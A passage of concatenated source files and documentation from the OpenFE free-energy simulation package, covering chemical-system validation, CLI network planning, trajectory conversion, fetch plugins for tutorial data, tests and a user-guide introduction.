valA not in matched_components.keys(): alchemical_components['stateA'].append(valA) # populate stateB alchemical components for valB in stateB.components.values(): if valB not in matched_components.values(): alchemical_components['stateB'].append(valB) return alchemical_components def validate_solvent(state: ChemicalSystem, nonbonded_method: str): """ Checks that the ChemicalSystem component has the right solvent composition for an input nonbonded_methtod. Parameters ---------- state : ChemicalSystem The chemical system to inspect. nonbonded_method : str The nonbonded method to be applied for the simulation. Raises ------ ValueError * If there are multiple SolventComponents in the ChemicalSystem. * If there is a SolventComponent and the `nonbonded_method` is `nocutoff`. * If the SolventComponent solvent is not water. """ solv = [comp for comp in state.values() if isinstance(comp, SolventComponent)] if len(solv) > 0 and nonbonded_method.lower() == "nocutoff": errmsg = "nocutoff cannot be used for solvent transformations" raise ValueError(errmsg) if len(solv) == 0 and nonbonded_method.lower() == 'pme': errmsg = "PME cannot be used for vacuum transform" raise ValueError(errmsg) if len(solv) > 1: errmsg = "Multiple SolventComponent found, only one is supported" raise ValueError(errmsg) if len(solv) > 0 and solv[0].smiles != 'O': errmsg = "Non water solvent is not currently supported" raise ValueError(errmsg) def validate_protein(state: ChemicalSystem): """ Checks that the ChemicalSystem's ProteinComponent are suitable for the alchemical protocol. Parameters ---------- state : ChemicalSystem The chemical system to inspect. Raises ------ ValueError If there are multiple ProteinComponent in the ChemicalSystem. """ nprot = sum(1 for comp in state.values() if isinstance(comp, ProteinComponent)) if nprot > 1: errmsg = "Multiple ProteinComponent found, only one is supported" raise ValueError(errmsg) ParseCompRet = Tuple[ Optional[SolventComponent], Optional[ProteinComponent], list[SmallMoleculeComponent], ] def get_components(state: ChemicalSystem) -> ParseCompRet: """ Establish all necessary Components for the transformation. Parameters ---------- state : ChemicalSystem ChemicalSystem to get all necessary components from. Returns ------- solvent_comp : Optional[SolventComponent] If it exists, the SolventComponent for the state, otherwise None. protein_comp : Optional[ProteinComponent] If it exists, the ProteinComponent for the state, otherwise None. small_mols : list[SmallMoleculeComponent] """ def _get_single_comps(comp_list, comptype): ret_comps = [comp for comp in comp_list if isinstance(comp, comptype)] if ret_comps: return ret_comps[0] else: return None solvent_comp: Optional[SolventComponent] = _get_single_comps( list(state.values()), SolventComponent ) protein_comp: Optional[ProteinComponent] = _get_single_comps( list(state.values()), ProteinComponent ) small_mols = [] for comp in state.components.values(): if isinstance(comp, SmallMoleculeComponent): small_mols.append(comp) return solvent_comp, protein_comp, small_mols <file_sep>.. _cli_plan-rbfe-network: ``plan-rbfe-network`` command ============================= .. click:: openfecli.commands.plan_rbfe_network:plan_rbfe_network :prog: openfe plan-rbfe-network <file_sep>""" sphinxcontrib-sass https://github.com/attakei-lab/sphinxcontrib-sass <NAME> Apache 2.0 Modified to: - Write directly to Sphinx output directory - Infer targets if not given - Ensure ``target: Path`` in ``configure_path()`` - Return version number and thread safety from ``setup()`` - Use compressed style by default - More complete type checking """ from os import PathLike from pathlib import Path from typing import Optional, Union import sass from sphinx.application import Sphinx from sphinx.environment import BuildEnvironment from sphinx.util import logging logger = logging.getLogger(__name__) def configure_path(conf_dir: str, src: Optional[Union[PathLike, Path]]) -> Path: if src is None: target = Path(conf_dir) else: target = Path(src) if not target.is_absolute(): target = Path(conf_dir) / target return target def get_targets(app: Sphinx) -> dict[Path, Path]: src_dir = configure_path(app.confdir, app.config.sass_src_dir) dst_dir = configure_path(app.outdir, app.config.sass_out_dir) if isinstance(app.config.sass_targets, dict): targets = app.config.sass_targets else: targets = { path: path.relative_to(src_dir).with_suffix(".css") for path in src_dir.glob("**/[!_]*.s[ca]ss") } return {src_dir / src: dst_dir / dst for src, dst in targets.items()} def build_sass_sources(app: Sphinx, env: BuildEnvironment): logger.debug("Building stylesheet files") include_paths = [str(p) for p in app.config.sass_include_paths] targets = get_targets(app) output_style = app.config.sass_output_style # Build css files for src, dst in targets.items(): content = src.read_text() css = sass.compile( string=content, output_style=output_style, include_paths=[str(src.parent)] + include_paths, ) dst.parent.mkdir(exist_ok=True, parents=True) dst.write_text(css) def setup(app: Sphinx): """ Setup function for this extension. """ logger.debug(f"Using {__name__}") app.add_config_value("sass_include_paths", [], "html") app.add_config_value("sass_src_dir", None, "html") app.add_config_value("sass_out_dir", None, "html") app.add_config_value("sass_targets", None, "html") app.add_config_value("sass_output_style", "compressed", "html") app.connect("env-updated", build_sass_sources) return { "version": "0.3.4ofe", "parallel_read_safe": True, "parallel_write_safe": True, } <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from openff.toolkit import GLOBAL_TOOLKIT_REGISTRY, OpenEyeToolkitWrapper from openff.toolkit.utils.toolkit_registry import ToolkitUnavailableException from contextlib import contextmanager @contextmanager def without_oechem_backend(): """For temporarily removing oechem from openff's toolkit registry""" current_toolkits = [type(tk) for tk in GLOBAL_TOOLKIT_REGISTRY.registered_toolkits] try: GLOBAL_TOOLKIT_REGISTRY.deregister_toolkit(OpenEyeToolkitWrapper()) except ToolkitUnavailableException: pass try: yield None finally: # this is order dependent; we want to prepend OEChem back to first while GLOBAL_TOOLKIT_REGISTRY.registered_toolkits: GLOBAL_TOOLKIT_REGISTRY.deregister_toolkit( GLOBAL_TOOLKIT_REGISTRY.registered_toolkits[0]) for tk in current_toolkits: GLOBAL_TOOLKIT_REGISTRY.register_toolkit(tk) <file_sep>import pytest from .conftest import HAS_INTERNET from openfecli.fetching import URLFetcher, PkgResourceFetcher from openfecli.fetching import FetchablePlugin class FetcherTester: @pytest.fixture def fetcher(self): raise NotImplementedError() def test_resources(self): raise NotImplementedError() def test_plugin(self, fetcher): # this is just a smoke test; individual plugins should test that # they work plugin = fetcher.plugin assert isinstance(plugin, FetchablePlugin) def test_call(self, fetcher, tmp_path): # Here we just check that the machinery works. Each plugin should # have a test to ensure that we're getting the right kind of file. paths = [tmp_path / filename for _, filename in fetcher.resources] for path in paths: assert not path.exists() fetcher(tmp_path) for path in paths: assert path.exists() class TestURLFetcher(FetcherTester): @pytest.fixture def fetcher(self): return URLFetcher( resources=[("https://www.google.com/", "index.html")], short_name="google", short_help="The Goog", requires_ofe=(0, 7, 0), long_help="Google, an Alphabet company" ) def test_resources(self, fetcher): expected = [("https://www.google.com/", "index.html")] assert list(fetcher.resources) == expected @pytest.mark.skipif(not HAS_INTERNET, reason="Internet seems to be unavailable") def test_call(self, fetcher, tmp_path): super().test_call(fetcher, tmp_path) @pytest.mark.skipif(not HAS_INTERNET, reason="Internet seems to be unavailable") def test_without_trailing_slash(self, tmp_path): fetcher = URLFetcher( resources=[("https://www.google.com", "index.html")], short_name="goog2", short_help="more goog", requires_ofe=(0, 7, 0), long_help="What if you forget the trailing slash?" ) self.test_call(fetcher, tmp_path) class TestPkgResourceFetcher(FetcherTester): @pytest.fixture def fetcher(self): return PkgResourceFetcher( resources=[('openfecli.tests', 'test_fetching.py')], short_name="me", short_help="download this file", requires_ofe=(0, 7, 4), long_help="whoa, meta." ) def test_resources(self, fetcher): expected = [('openfecli.tests', 'test_fetching.py')] assert list(fetcher.resources) == expected <file_sep>"""Plugins for the ``fetch`` command""" from openfecli.fetching import URLFetcher, PkgResourceFetcher _EXAMPLE_NB_BASE = ("https://raw.githubusercontent.com/" "OpenFreeEnergy/ExampleNotebooks/main/") RBFE_SHOWCASE = URLFetcher( resources=[ (_EXAMPLE_NB_BASE + "openmm_rbfe/inputs/", "181L_mod_capped_protonated.pdb"), (_EXAMPLE_NB_BASE + "openmm_rbfe/inputs/", "Jnk1_ligands.sdf"), (_EXAMPLE_NB_BASE + "openmm_rbfe/inputs/", "benzene.sdf"), (_EXAMPLE_NB_BASE + "openmm_rbfe/inputs/", "ligands.sdf"), (_EXAMPLE_NB_BASE + "openmm_rbfe/inputs/", "styrene.sdf"), ], short_name="rbfe-showcase", short_help="Inputs needed for the RBFE Showcase Notebook", section="hidden", requires_ofe=(0, 9, 1), ).plugin RBFE_TUTORIAL = URLFetcher( resources=[ (_EXAMPLE_NB_BASE + "rbfe_tutorial/", "tyk2_ligands.sdf"), (_EXAMPLE_NB_BASE + "rbfe_tutorial/", "tyk2_protein.pdb"), (_EXAMPLE_NB_BASE + "rbfe_tutorial/", "cli_tutorial.md"), (_EXAMPLE_NB_BASE + "rbfe_tutorial/", "python_tutorial.ipynb"), ], short_name="rbfe-tutorial", short_help="CLI and Python tutorial on relative binding free energies", section="Tutorials", requires_ofe=(0, 7, 0), ).plugin RBFE_TUTORIAL_RESULTS = PkgResourceFetcher( resources=[ ("openfecli.tests.data", "rbfe_results.tar.gz"), ], short_name="rbfe-tutorial-results", short_help="Results package to follow-up the rbfe-tutorial", section="Tutorials", requires_ofe=(0, 7, 5), ).plugin <file_sep>import inspect import pytest from unittest import mock from matplotlib import pyplot as plt import matplotlib import matplotlib.figure import importlib.resources from openfe.utils.atommapping_network_plotting import ( AtomMappingNetworkDrawing, plot_atommapping_network, LigandNode, ) from openfe.tests.utils.test_network_plotting import mock_event def bound_args(func, args, kwargs): """Return a dictionary mapping parameter name to value. Parameters ---------- func : Callable this must be inspectable; mocks will require a spec args : List args list kwargs : Dict kwargs Dict Returns ------- Dict[str, Any] : mapping of string name of function parameter to the value it would be bound to """ sig = inspect.Signature.from_callable(func) bound = sig.bind(*args, **kwargs) return bound.arguments @pytest.fixture def network_drawing(simple_network): nx_graph = simple_network.network.graph node_dict = {node.smiles: node for node in nx_graph.nodes} positions = { node_dict["CC"]: (0.0, 0.0), node_dict["CO"]: (0.5, 0.0), node_dict["CCO"]: (0.25, 0.25) } graph = AtomMappingNetworkDrawing(nx_graph, positions) graph.ax.set_xlim(0, 1) graph.ax.set_ylim(0, 1) yield graph plt.close(graph.fig) @pytest.fixture def default_edge(network_drawing): node_dict = {node.smiles: node for node in network_drawing.graph.nodes} yield network_drawing.edges[node_dict["CC"], node_dict["CO"]] @pytest.fixture def default_node(network_drawing): node_dict = {node.smiles: node for node in network_drawing.graph.nodes} yield LigandNode(node_dict["CC"], 0.5, 0.5, 0.1, 0.1) class TestAtomMappingEdge: def test_draw_mapped_molecule(self, default_edge): assert len(default_edge.artist.axes.images) == 0 im = default_edge._draw_mapped_molecule( (0.05, 0.45, 0.5, 0.9), default_edge.node_artists[0].node, default_edge.node_artists[1].node, {0: 0} ) # maybe add something about im itself? not sure what to test here assert len(default_edge.artist.axes.images) == 1 assert default_edge.artist.axes.images[0] == im def test_get_image_extents(self, default_edge): left_extent, right_extent = default_edge._get_image_extents() assert left_extent == (0.05, 0.45, 0.5, 0.9) assert right_extent == (0.55, 0.95, 0.5, 0.9) def test_select(self, default_edge, network_drawing): assert not default_edge.picked assert len(default_edge.artist.axes.images) == 0 event = mock_event('mouseup', 0.25, 0.0, network_drawing.fig) default_edge.select(event, network_drawing) assert default_edge.picked assert len(default_edge.artist.axes.images) == 2 @pytest.mark.parametrize('edge_str,left_right,molA_to_molB', [ (("CCO", "CC"), ("CC", "CCO"), {0: 0, 1: 1}), (("CC", "CO"), ("CC", "CO"), {0: 0}), (("CCO", "CO"), ("CCO", "CO"), {0: 0, 2: 1}), ]) def test_select_mock_drawing(self, edge_str, left_right, molA_to_molB, network_drawing): # this tests that we call _draw_mapped_molecule with the correct # kwargs -- in particular, it ensures that we get the left and right # molecules correctly node_dict = {node.smiles: node for node in network_drawing.graph.nodes} edge_tuple = tuple(node_dict[node] for node in edge_str) edge = network_drawing.edges[edge_tuple] left, right = [network_drawing.nodes[node_dict[node]] for node in left_right] # ensure that we have them labelled correctly assert left.xy[0] < right.xy[0] func = edge._draw_mapped_molecule # save for bound_args edge._draw_mapped_molecule = mock.Mock() event = mock_event('mouseup', 0.25, 0.0, network_drawing.fig) edge.select(event, network_drawing) arg_dicts = [ bound_args(func, call.args, call.kwargs) for call in edge._draw_mapped_molecule.mock_calls ] expected_left = { 'extent': (0.05, 0.45, 0.5, 0.9), 'molA': left.node, 'molB': right.node, 'molA_to_molB': molA_to_molB, } expected_right = { 'extent': (0.55, 0.95, 0.5, 0.9), 'molA': right.node, 'molB': left.node, 'molA_to_molB': {v: k for k, v in molA_to_molB.items()}, } assert len(arg_dicts) == 2 assert expected_left in arg_dicts assert expected_right in arg_dicts def test_unselect(self, default_edge, network_drawing): # start by selecting; hard to be sure we mocked all the side effects # of select event = mock_event('mouseup', 0.25, 0.0, network_drawing.fig) default_edge.select(event, network_drawing) assert default_edge.picked assert len(default_edge.artist.axes.images) == 2 assert default_edge.right_image is not None assert default_edge.left_image is not None default_edge.unselect() assert not default_edge.picked assert len(default_edge.artist.axes.images) == 0 assert default_edge.right_image is None assert default_edge.left_image is None class TestLigandNode: def setup_method(self): self.fig, self.ax = plt.subplots() def teardown_method(self): plt.close(self.fig) def test_register_artist(self, default_node): assert len(self.ax.texts) == 0 default_node.register_artist(self.ax) assert len(self.ax.texts) == 1 assert self.ax.texts[0] == default_node.artist def test_extent(self, default_node): default_node.register_artist(self.ax) xmin, xmax, ymin, ymax = default_node.extent assert xmin == pytest.approx(0.5) assert ymin == pytest.approx(0.5) # can't do anything about upper bounds def test_xy(self, default_node): # default_node.register_artist(self.ax) x, y = default_node.xy assert x == pytest.approx(0.5) assert y == pytest.approx(0.5) def test_plot_atommapping_network(simple_network): fig = plot_atommapping_network(simple_network.network) assert isinstance(fig, matplotlib.figure.Figure) <file_sep>import pytest from unittest import mock from click.testing import CliRunner import os from openfecli.commands.test import test def mock_func(args): print(os.environ.get("OFE_SLOW_TESTS")) @pytest.mark.parametrize('slow', [True, False]) def test_test(slow): runner = CliRunner() args = ['--long'] if slow else [] patchloc = "openfecli.commands.test.pytest.main" ofe_slow_tests = os.environ.get("OFE_SLOW_TESTS") with mock.patch(patchloc, mock_func): with runner.isolated_filesystem(): result = runner.invoke(test, args) assert result.exit_code == 0 l1, l2, l3, _ = result.output.split("\n") assert l1 == "Testing can import...." assert l2 == "Running the main package tests" assert l3 == str(slow) assert ofe_slow_tests == os.environ.get("OFE_SLOW_TESTS") <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import abc from typing import Iterable from gufe import SmallMoleculeComponent from . import LigandAtomMapping import gufe class LigandAtomMapper(gufe.AtomMapper): """Suggests AtomMappings for a pair of :class:`SmallMoleculeComponent`\s. Subclasses will typically implement the ``_mappings_generator`` method, which returns an iterable of :class:`.LigandAtomMapping` suggestions. """ @abc.abstractmethod def _mappings_generator(self, componentA: SmallMoleculeComponent, componentB: SmallMoleculeComponent ) -> Iterable[dict[int, int]]: """ Suggest mapping options for the input molecules. Parameters ---------- componentA, componentB : rdkit.Mol the two molecules to create a mapping for Returns ------- Iterable[dict[int, int]] : an iterable over proposed mappings from componentA to componentB """ ... def suggest_mappings(self, componentA: SmallMoleculeComponent, componentB: SmallMoleculeComponent ) -> Iterable[LigandAtomMapping]: """ Suggest :class:`.LigandAtomMapping` options for the input molecules. Parameters --------- componentA, componentB : :class:`.SmallMoleculeComponent` the two molecules to create a mapping for Returns ------- Iterable[LigandAtomMapping] : an iterable over proposed mappings """ # For this base class, implementation is redundant with # _mappings_generator. However, we keep it separate so that abstract # subclasses of this can customize suggest_mappings while always # maintaining the consistency that concrete implementations must # implement _mappings_generator. for map_dct in self._mappings_generator(componentA, componentB): yield LigandAtomMapping(componentA, componentB, map_dct) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import netCDF4 as nc import numpy as np from pathlib import Path from openff.units import unit from openfe import __version__ def _effective_replica(dataset: nc.Dataset, state_num: int, frame_num: int) -> int: """ Helper method to extract the relevant replica number which represents a given state number based on the frame number. Parameters ---------- dataset : netCDF4.Dataset Dataset containing the MultiState reporter generated NetCDF file with information about all the frames and replica in the system. state_num : int Index of the state to get the effective replica for. frame_num : int Index of the frame to get the effective replica for. Returns ------- int Index of the replica which represents that thermodynamic state for that frame. """ state_distribution = dataset.variables['states'][frame_num].data return np.where(state_distribution == state_num)[0][0] def _state_positions_at_frame(dataset: nc.Dataset, state_num: int, frame_num: int) -> unit.Quantity: """ Helper method to extract atom positions of a state at a given frame. Parameters ---------- dataset : netCDF4.Dataset Dataset containing the MultiState information. state_num : int State index to extract positions for. frame_num : int Frame number to extract positions for. Returns ------- unit.Quantity n_atoms * 3 position Quantity array """ effective_replica = _effective_replica(dataset, state_num, frame_num) pos = dataset.variables['positions'][frame_num][effective_replica].data pos_units = dataset.variables['positions'].units return pos * unit(pos_units) def _create_new_dataset(filename: Path, n_atoms: int, title: str) -> nc.Dataset: """ Helper method to create a new NetCDF dataset which follows the AMBER convention (see: https://ambermd.org/netcdf/nctraj.xhtml) Parameters ---------- filename : path.Pathlib Name of the new netcdf trajectory to write. n_atoms : int Number of atoms to store in trajectory. title : str Title of trajectory. Returns ------- netCDF4.Dataset AMBER Conventions compliant NetCDF dataset to store information contained in MultiState reporter generated NetCDF file. """ ncfile = nc.Dataset(filename, 'w', format='NETCDF3_64BIT') ncfile.Conventions = 'AMBER' ncfile.ConventionVersion = "1.0" ncfile.application = "openfe" ncfile.program = f"openfe {__version__}" ncfile.programVersion = f"{__version__}" ncfile.title = title # Set the dimensions ncfile.createDimension('frame', None) ncfile.createDimension('spatial', 3) ncfile.createDimension('atom', n_atoms) ncfile.createDimension('cell_spatial', 3) ncfile.createDimension('cell_angular', 3) ncfile.createDimension('label', 5) # Set the variables # positions pos = ncfile.createVariable('coordinates', 'f4', ('frame', 'atom', 'spatial')) pos.units = 'angstrom' # we could also set this to 0.1 and do no nm to angstrom scaling on write pos.scale_factor = 1.0 # Note: OpenMMTools NetCDF files store velocities # but honestly it's rather useless, so we don't populate them # Note 2: NetCDF file doesn't contain any time information... # so we can't populate that either, this might trip up some readers.. # Note 3: We'll need to convert box vectors (in nm) to # unitcell (in angstrom & degrees) cell_lengths = ncfile.createVariable( 'cell_lengths', 'f8', ('frame', 'cell_spatial') ) cell_lengths.units = 'angstrom' cell_angles = ncfile.createVariable( 'cell_angles', 'f8', ('frame', 'cell_spatial') ) cell_angles.units = 'degree' return ncfile def _get_unitcell(dataset: nc.Dataset, state_num: int, frame_num: int): """ Helper method to extract a unit cell from the stored box vectors in a MultiState reporter generated NetCDF file at a given state and frame. Parameters ---------- dataset : netCDF4.Dataset Dataset of MultiState reporter generated NetCDF file. state_num : int State for which to get the unit cell for. frame_num : int Frame for which to get the unit cell for. Returns ------- Tuple[lx, ly, lz, alpha, beta, gamma] Unit cell lengths and angles in angstroms and degrees. """ effective_replica = _effective_replica(dataset, state_num, frame_num) vecs = dataset.variables['box_vectors'][frame_num][effective_replica].data vecs_units = dataset.variables['box_vectors'].units x, y, z = (vecs * unit(vecs_units)).to('angstrom').m lx = np.linalg.norm(x) ly = np.linalg.norm(y) lz = np.linalg.norm(z) # angle between y and z alpha = np.arccos(np.dot(y, z) / (ly * lz)) # angle between x and z beta = np.arccos(np.dot(x, z) / (lx * lz)) # angle between x and y gamma = np.arccos(np.dot(x, y) / (lx * ly)) return lx, ly, lz, np.rad2deg(alpha), np.rad2deg(beta), np.rad2deg(gamma) def trajectory_from_multistate(input_file: Path, output_file: Path, state_number: int) -> None: """ Extract a state's trajectory (in an AMBER compliant format) from a MultiState sampler generated NetCDF file. Parameters ---------- input_file : path.Pathlib Path to the input MultiState sampler generated NetCDF file. output_file : path.Pathlib Path to the AMBER-style NetCDF trajectory to be written. state_number : int Index of the state to write out to the trajectory. """ # Open MultiState NC file and get number of atoms and frames multistate = nc.Dataset(input_file, 'r') n_atoms = len(multistate.variables['positions'][0][0]) n_replicas = len(multistate.variables['positions'][0]) n_frames = len(multistate.variables['positions']) # Sanity check if state_number + 1 > n_replicas: # Note this works for now, but when we have more states # than replicas (e.g. SAMS) this won't really work errmsg = "State does not exist" raise ValueError(errmsg) # Create output AMBER NetCDF convention file traj = _create_new_dataset( output_file, n_atoms, title=f"state {state_number} trajectory from {input_file}" ) # Loopy de loop for frame in range(n_frames): traj.variables['coordinates'][frame] = _state_positions_at_frame( multistate, state_number, frame ).to('angstrom').m unitcell = _get_unitcell(multistate, state_number, frame) traj.variables['cell_lengths'][frame] = unitcell[:3] traj.variables['cell_angles'][frame] = unitcell[3:] # Make sure to clean up when you are done multistate.close() traj.close() <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click from typing import List from openfecli.utils import write, print_duration from openfecli import OFECommandPlugin from openfecli.parameters import ( MOL_DIR, PROTEIN, MAPPER, OUTPUT_DIR, COFACTORS, ) from openfecli.plan_alchemical_networks_utils import plan_alchemical_network_output def plan_rbfe_network_main( mapper, mapping_scorer, ligand_network_planner, small_molecules, solvent, protein, cofactors, ): """Utility method to plan a relative binding free energy network. Parameters ---------- mapper : LigandAtomMapper the mapper to use to generate the mapping mapping_scorer : Callable scorer, that evaluates the generated mappings ligand_network_planner : Callable function building the network from the ligands, mappers and mapping_scorer small_molecules : Iterable[SmallMoleculeComponent] ligands of the system solvent : SolventComponent Solvent component used for solvation protein : ProteinComponent protein component for complex simulations, to which the ligands are bound cofactors : Iterable[SmallMoleculeComponent] any cofactors alongisde the protein, can be empty list Returns ------- Tuple[AlchemicalNetwork, LigandNetwork] Alchemical network with protocol for executing simulations, and the associated ligand network """ from openfe.setup.alchemical_network_planner.relative_alchemical_network_planner import ( RBFEAlchemicalNetworkPlanner, ) network_planner = RBFEAlchemicalNetworkPlanner( mappers=[mapper], mapping_scorer=mapping_scorer, ligand_network_planner=ligand_network_planner, ) alchemical_network = network_planner( ligands=small_molecules, solvent=solvent, protein=protein, cofactors=cofactors, ) return alchemical_network, network_planner._ligand_network @click.command( "plan-rbfe-network", short_help=( "Plan a relative binding free energy network, saved as JSON files " "for the quickrun command." ) ) @MOL_DIR.parameter( required=True, help=MOL_DIR.kwargs["help"] + " Any number of sdf paths." ) @PROTEIN.parameter( multiple=False, required=True, default=None, help=PROTEIN.kwargs["help"] ) @COFACTORS.parameter( multiple=True, required=False, default=None, help=COFACTORS.kwargs["help"] ) @OUTPUT_DIR.parameter( help=OUTPUT_DIR.kwargs["help"] + " Defaults to `./alchemicalNetwork`.", default="alchemicalNetwork", ) @print_duration def plan_rbfe_network( molecules: List[str], protein: str, cofactors: tuple[str], output_dir: str ): """ Plan a relative binding free energy network, saved as JSON files for the quickrun command. This tool is an easy way to set up a RBFE calculation campaign. The JSON files this outputs can be used to run each leg of the campaign. For customized setups, please consider using the Python layer of openfe. This tool makes the following choices: * Atom mappings performed by LOMAP, with settings max3d=1.0 and element_change=False * Minimal spanning network as the network planner, with LOMAP default score as the weight function * Water as solvent, with NaCl at 0.15 M. * Protocol is the OpenMM-based relative hybrid topology protocol, with default settings. The generated Network will be stored in a folder containing for each transformation a JSON file, that can be run with quickrun. """ write("RBFE-NETWORK PLANNER") write("______________________") write("") write("Parsing in Files: ") from gufe import SolventComponent from openfe.setup.atom_mapping.lomap_scorers import ( default_lomap_score, ) from openfe.setup import LomapAtomMapper from openfe.setup.ligand_network_planning import ( generate_minimal_spanning_network, ) # INPUT write("\tGot input: ") small_molecules = MOL_DIR.get(molecules) write( "\t\tSmall Molecules: " + " ".join([str(sm) for sm in small_molecules]) ) protein = PROTEIN.get(protein) write("\t\tProtein: " + str(protein)) if cofactors is not None: cofactors = sum((COFACTORS.get(c) for c in cofactors), start=[]) else: cofactors = [] write("\t\tCofactors: " + str(cofactors)) solvent = SolventComponent() write("\t\tSolvent: " + str(solvent)) write("") write("Using Options:") mapper_obj = LomapAtomMapper(time=20, threed=True, element_change=False, max3d=1) write("\tMapper: " + str(mapper_obj)) # TODO: write nice parameter mapping_scorer = default_lomap_score write("\tMapping Scorer: " + str(mapping_scorer)) # TODO: write nice parameter ligand_network_planner = generate_minimal_spanning_network write("\tNetworker: " + str(ligand_network_planner)) write("") # DO write("Planning RBFE-Campaign:") alchemical_network, ligand_network = plan_rbfe_network_main( mapper=mapper_obj, mapping_scorer=mapping_scorer, ligand_network_planner=ligand_network_planner, small_molecules=small_molecules, solvent=solvent, protein=protein, cofactors=cofactors, ) write("\tDone") write("") # OUTPUT write("Output:") write("\tSaving to: " + str(output_dir)) plan_alchemical_network_output( alchemical_network=alchemical_network, ligand_network=ligand_network, folder_path=OUTPUT_DIR.get(output_dir), ) PLUGIN = OFECommandPlugin( command=plan_rbfe_network, section="Network Planning", requires_ofe=(0, 3) ) <file_sep>.. _guide-introduction: Introduction ============ Here we present an overview of the workflow for calculating free energies in OpenFE in the broadest strokes possible. This workflow is reflected in both the Python API and in the command line interface, and so we have a section for each. Workflow overview ----------------- The overall workflow of OpenFE involves three stages: 1. **Setup**: Defining the simulation campaign you are going to run. 2. **Execution**: Running and performing initial analysis of your simulation campaign. 3. **Gather results**: Assembling the results from the simulation campaign for further analysis. In many use cases, these stages may be done on different machines -- for example, you are likely to make use of HPC or cloud computing resources to run the simulation campaign. Because of this, each stage has a certain type of output, which is the input to the next stage. .. TODO make figure .. .. figure:: ??? :alt: Setup -> (AlchemicalNetwork) -> Execution -> (ProtocolResults) -> Gather The main stages of a free energy calculation in OpenFE, and the intermediates between them. The output of **setup** is an :class:`.AlchemicalNetwork`. This contains all the information about what is being simulated (e.g., what ligands, host proteins, solvation details etc) and the information about how to perform the simulation (the Protocol). The output of the **execution** stage is the basic results from each edge. This can depend of the specific analysis intended, but will either involve a :class:`.ProtocolResult` representing the calculated :math:`\Delta G` for each edge or the :class:`.ProtocolDAGResult` linked to the data needed to calculate that :math:`\Delta G`. The **gather results** stage takes these results and produces something useful to the user. For example, the CLI's ``gather`` command will create a table of the :math:`\Delta G` for each leg. CLI Workflow ------------ We have separate CLI commands for each stage of setup, running, and gathering results. With the CLI, the Python objects of :class:`.AlchemicalNetwork` and :class:`.ProtocolResult` are stored to disk in an intermediate representation between the commands. .. TODO make figure .. .. figure:: ??? :alt: [NetworkPlanner -> AlchemicalNetwork] -> Transformation JSON -> quickrun -> Result JSON -> gather The CLI workflow, with intermediates. The setup stage uses a network planner to generate the network, before saving each transformation as a JSON file. The commands used to generate an :class:`AlchemicalNetwork` using the CLI are: * :ref:`cli_plan-rbfe-network` * :ref:`cli_plan-rhfe-network` For example, you can create a relative binding free energy (RBFE) network using .. code:: bash $ openfe plan-rbfe-network -p protein.pdb -M dir_with_sdfs/ These will save the alchemical network represented as a JSON file for each edge of the :class:`.AlchemicalNetwork` (i.e., each leg of the alchemical cycle). To run a given transformation, use the :ref:`cli_quickrun`; for example: .. code:: bash $ openfe quickrun mytransformation.json -d dir_for_files -o output.json In many cases, you will want to create a job script for a queuing system (e.g., SLURM) that wraps that command. You can do this for all JSON files from the network planning command with something like this: .. TODO Link to example here. I think this is waiting on the CLI example being merged into example notebooks? Finally, to gather the results of that, assuming all results (and only results) are in the `results/` direcory, use the :ref:`cli_gather`: .. code:: bash $ openfe gather ./results/ -o final_results.tsv This will output a tab-separated file with the ligand pair, the estimated :math:`\Delta G` and the uncertainty in that estimate. The CLI provides a very straightforward user experience that works with the most simple use cases. For use cases that need more workflow customization, the Python API makes it relatively straightforward to define exactly the simulation you want to run. The next sections of this user guide will illustrate how to customize the behavior to your needs. <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import math from pathlib import Path from typing import Iterable, Callable, Optional, Union import itertools from collections import Counter import functools import networkx as nx from tqdm.auto import tqdm from gufe import SmallMoleculeComponent, AtomMapper from openfe.setup import LigandNetwork from openfe.setup.atom_mapping import LigandAtomMapping from openfe.setup import LomapAtomMapper from lomap.dbmol import _find_common_core def _hasten_lomap(mapper, ligands): """take a mapper and some ligands, put a common core arg into the mapper """ if mapper.seed: return mapper try: core = _find_common_core([m.to_rdkit() for m in ligands], element_change=mapper.element_change) except RuntimeError: # in case MCS throws a hissy fit core = "" return LomapAtomMapper( time=mapper.time, threed=mapper.threed, max3d=mapper.max3d, element_change=mapper.element_change, seed=core, shift=mapper.shift ) def generate_radial_network(ligands: Iterable[SmallMoleculeComponent], central_ligand: SmallMoleculeComponent, mappers: Union[AtomMapper, Iterable[AtomMapper]], scorer=None): """Generate a radial network with all ligands connected to a central node Also known as hub and spoke or star-map, this plans a LigandNetwork where all ligands are connected via a central ligand. Parameters ---------- ligands : iterable of SmallMoleculeComponents the ligands to arrange around the central ligand central_ligand : SmallMoleculeComponent the ligand to use as the hub/central ligand mappers : AtomMapper or iterable of AtomMappers mapper(s) to use, at least 1 required scorer : scoring function, optional a callable which returns a float for any LigandAtomMapping. Used to assign scores to potential mappings, higher scores indicate worse mappings. Raises ------ ValueError if no mapping between the central ligand and any other ligand can be found Returns ------- network : LigandNetwork will have an edge between each ligand and the central ligand, with the mapping being the best possible mapping found using the supplied atom mappers. If no scorer is supplied, the first mapping provided by the iterable of mappers will be used. """ if isinstance(mappers, AtomMapper): mappers = [mappers] mappers = [_hasten_lomap(m, ligands) if isinstance(m, LomapAtomMapper) else m for m in mappers] edges = [] for ligand in ligands: best_score = math.inf best_mapping = None for mapping in itertools.chain.from_iterable( mapper.suggest_mappings(central_ligand, ligand) for mapper in mappers ): if not scorer: best_mapping = mapping break score = scorer(mapping) mapping = mapping.with_annotations({"score": score}) if score < best_score: best_mapping = mapping best_score = score if best_mapping is None: raise ValueError(f"No mapping found for {ligand}") edges.append(best_mapping) return LigandNetwork(edges) def generate_maximal_network( ligands: Iterable[SmallMoleculeComponent], mappers: Union[AtomMapper, Iterable[AtomMapper]], scorer: Optional[Callable[[LigandAtomMapping], float]] = None, progress: Union[bool, Callable[[Iterable], Iterable]] = True, # allow_disconnected=True ): """Create a network with all possible proposed mappings. This will attempt to create (and optionally score) all possible mappings (up to $N(N-1)/2$ for each mapper given). There may be fewer actual mappings that this because, when a mapper cannot return a mapping for a given pair, there is simply no suggested mapping for that pair. This network is typically used as the starting point for other network generators (which then optimize based on the scores) or to debug atom mappers (to 